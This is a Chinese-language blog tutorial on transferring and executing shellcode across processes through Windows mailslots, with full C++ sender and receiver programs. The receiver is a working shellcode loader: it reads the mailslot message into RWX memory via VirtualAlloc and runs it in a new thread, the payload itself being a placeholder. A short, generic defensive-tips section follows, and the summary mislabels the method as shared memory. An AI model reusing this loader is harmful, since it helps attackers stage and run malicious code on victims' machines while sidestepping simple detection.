C++使用郵件槽實現(xiàn)ShellCode跨進程傳輸
在計算機安全領(lǐng)域,進程間通信(IPC)一直是一個備受關(guān)注的話題。在本文中,我們將探討如何使用Windows郵件槽(Mailslot)實現(xiàn)ShellCode的跨進程傳輸。郵件槽提供了一種簡單而有效的單向通信機制,使得任何進程都能夠成為郵件槽服務(wù)器,并通過UDP通信向其他進程發(fā)送數(shù)據(jù)。
郵件槽是Windows操作系統(tǒng)提供的一種用于本地進程間通信的機制。它允許一個進程創(chuàng)建一個命名的槽,并允許其他進程通過該槽向創(chuàng)建它的進程發(fā)送消息。在本文中,我們將使用郵件槽實現(xiàn)進程間的ShellCode傳輸。如果需要雙向通信或更復(fù)雜的通信需求,需要考慮其他IPC機制,例如命名管道、套接字等。
服務(wù)端部分
服務(wù)端端部分的實現(xiàn)非常簡單,通過使用MAIL_SLOT_NAME 可以定義郵件槽的名稱,該名稱用于標識服務(wù)端和客戶端之間的郵件槽。這是一個字符串常量,按照 Windows 命名約定的格式指定了郵件槽的路徑。
讓我來解釋這個定義的具體含義:
\\\\.:表示本地計算機,即當前計算機的命名空間。mailslot:指定郵件槽的類型。Name:是你給郵件槽指定的名稱,可以根據(jù)實際需要更改。
所以,整個路徑 \\\\.\\mailslot\\Name 指代的是一個本地計算機上的郵件槽,其名稱為 Name。這個路徑會在創(chuàng)建和打開郵件槽時使用,確保兩個進程使用相同的路徑來通信。
在服務(wù)端創(chuàng)建郵件槽時,通過 CreateFile 函數(shù)中的 MAIL_SLOT_NAME 參數(shù)指定郵件槽的名稱,確保服務(wù)端和客戶端使用相同的名稱來建立通信連接。
CreateFile
用于創(chuàng)建或打開文件、文件夾、郵件槽、管道等對象的句柄。在你提供的代碼中,CreateFile 主要用于打開郵件槽,以便在服務(wù)端寫入數(shù)據(jù)。
以下是 CreateFile 函數(shù)的一般形式:
HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );
參數(shù)說明:
lpFileName:指定文件或?qū)ο蟮拿Q,可以是一個路徑、文件名或其他標識符。dwDesiredAccess:指定對文件的訪問權(quán)限,例如GENERIC_READ、GENERIC_WRITE等。dwShareMode:指定共享模式,例如FILE_SHARE_READ、FILE_SHARE_WRITE等。lpSecurityAttributes:指定安全屬性,通常設(shè)置為NULL。dwCreationDisposition:指定文件的創(chuàng)建或打開方式,例如OPEN_EXISTING、CREATE_NEW等。dwFlagsAndAttributes:指定文件或?qū)ο蟮膶傩?,例?nbsp;FILE_ATTRIBUTE_NORMAL。hTemplateFile:指定一個文件句柄,用于復(fù)制文件屬性。
如上所示,我們只需要遵循郵件槽的創(chuàng)建流程并使用CreateFile創(chuàng)建通信,當需要傳輸郵件的時候可以直接調(diào)用WriteFile發(fā)送郵件,這是一個很好的功能,你可以發(fā)送郵件也可以發(fā)送各種你喜歡的亂七八糟的東西。
#include <windows.h>
#include <iostream>
using namespace std;
#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name"
char ShellCode[] = "此處是ShellCode";
int main(int argc, char* argv[])
{
HANDLE hWriteMailSlot = NULL;
while (TRUE)
{
hWriteMailSlot = CreateFile(MAIL_SLOT_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hWriteMailSlot == INVALID_HANDLE_VALUE)
continue;
else
break;
}
DWORD dwReturn = 0;
// 發(fā)送郵件槽
WriteFile(hWriteMailSlot, ShellCode, strlen(ShellCode), &dwReturn, NULL);
CloseHandle(hWriteMailSlot);
return 0;
}
客戶端部分
為了實現(xiàn)通信,客戶端部分也需要使用郵件槽,在MAIL_SLOT_NAME中指定相同的郵件名,通過CreateMailslot 函數(shù),創(chuàng)建郵件槽(Mailslot),這是一種用于本地進程間通信的機制。郵件槽是一種命名的管道,用于在同一臺計算機上的不同進程之間傳遞數(shù)據(jù)。
以下是 CreateMailslot 函數(shù)的一般形式:
HANDLE CreateMailslot( LPCTSTR lpName, DWORD nMaxMessageSize, DWORD lReadTimeout, LPSECURITY_ATTRIBUTES lpSecurityAttributes );
參數(shù)說明:
lpName:指定郵件槽的名稱,形如\\.\mailslot\your_mailslot_name。nMaxMessageSize:指定郵件槽中消息的最大大小。lReadTimeout:指定在讀取數(shù)據(jù)時的超時時間(以毫秒為單位)。lpSecurityAttributes:指定郵件槽的安全屬性,可以為NULL。
在代碼中,CreateMailslot 用于創(chuàng)建郵件槽:
hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
這行代碼的作用是創(chuàng)建一個郵件槽,使用了預(yù)定義的郵件槽名稱 MAIL_SLOT_NAME 作為參數(shù),nMaxMessageSize 和 lReadTimeout 都設(shè)置為零,表示使用默認值。如果創(chuàng)建成功,hReadMailSlot 將獲得一個有效的郵件槽句柄,可以用于后續(xù)的數(shù)據(jù)讀取操作。
創(chuàng)建好鏈接之后接下來就可以通過GetMailslotInfo函數(shù)獲取郵件了,當然了這個要死循環(huán)等待郵件,GetMailslotInfo 用于檢查郵件槽的狀態(tài)信息。它提供了有關(guān)郵件槽當前狀態(tài)的信息,例如有多少消息在郵件槽中、每個消息的大小等。
以下是 GetMailslotInfo 函數(shù)的一般形式:
BOOL GetMailslotInfo( HANDLE hMailslot, LPDWORD lpMaxMessageSize, LPDWORD lpNextSize, LPDWORD lpMessageCount, LPDWORD lpReadTimeout );
參數(shù)說明:
hMailslot:郵件槽的句柄,通過CreateMailslot函數(shù)或CreateFile函數(shù)獲得。lpMaxMessageSize:指向一個變量,用于接收郵件槽中單個消息的最大大小。lpNextSize:指向一個變量,用于接收下一個消息的大小。lpMessageCount:指向一個變量,用于接收郵件槽中當前的消息數(shù)目。lpReadTimeout:指向一個變量,用于接收在讀取數(shù)據(jù)時的超時時間(以毫秒為單位)。
在你的代碼中,GetMailslotInfo 用于獲取郵件槽的信息:
bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
這行代碼的作用是獲取郵件槽 hReadMailSlot 的信息,其中 cbMessage 接收消息的大小,cMessage 接收消息的數(shù)量。這樣的信息可以在接收方確定是否有待處理的消息,以及處理這些消息所需的空間。
一般來說當收到了新郵件之后可以直接使用ReadFile函數(shù)讀出這段郵件,讀出來的郵件就可以直接反彈了,如下代碼所示;
#include <windows.h>
#include <iostream>
using namespace std;
#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name"
HANDLE hReadMailSlot = INVALID_HANDLE_VALUE;
DWORD WINAPI ReadMail()
{
hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
if (hReadMailSlot == INVALID_HANDLE_VALUE)
{
return -1;
}
// 查看油槽的信息
DWORD cbMessage = 0, dwReturn = 0, cMessage = 0;
BOOL bOk = FALSE;
char ShellCode[4096] = { 0 };
while (TRUE)
{
bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
if (bOk == FALSE)
break;
if (cMessage == 0)
continue;
else
{
if (ReadFile(hReadMailSlot, ShellCode, cbMessage, &dwReturn, 0) == TRUE)
{
HANDLE hThread = NULL;
cout << ShellCode << endl;
// 注入ShellCode并執(zhí)行
void* ptr = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(ptr, ShellCode, sizeof(ShellCode));
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
}
}
}
}
int main(int argc, char* argv[])
{
HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadMail, NULL, 0, NULL);
Sleep(INFINITE);
if (hReadMailSlot != INVALID_HANDLE_VALUE)
{
CloseHandle(hReadMailSlot);
}
return 0;
}
潛在風險和安全建議
雖然這種方法在本地攻擊場景中有一定的巧妙性,但也存在潛在的風險。以下是一些建議:
- 防御共享內(nèi)存濫用: 操作系統(tǒng)提供了一些機制,如使用 ACL(訪問控制列表)和安全描述符,可以限制對共享內(nèi)存的訪問。合理配置這些機制可以減輕潛在的濫用風險。
- 加強系統(tǒng)安全策略: 使用強密碼、及時更新系統(tǒng)和應(yīng)用程序、啟用防火墻等都是基礎(chǔ)的系統(tǒng)安全策略。這些都有助于防止?jié)撛诘腟hellcode攻擊。
- 監(jiān)控和響應(yīng): 部署實時監(jiān)控和響應(yīng)系統(tǒng),能夠及時檢測到異常行為并采取相應(yīng)措施,對于減緩潛在威脅的影響十分重要。
總結(jié)
本文介紹了通過共享內(nèi)存?zhèn)鬟fShellcode的方法,通過這種巧妙的本地攻擊方式,兩個進程可以在不直接通信的情況下相互傳遞Shellcode。然而,使用這種技術(shù)需要非常謹慎,以免被濫用用于不當用途。在實際應(yīng)用中,必須謹慎權(quán)衡安全性和便利性,同時配合其他防御措施,確保系統(tǒng)的整體安全性。
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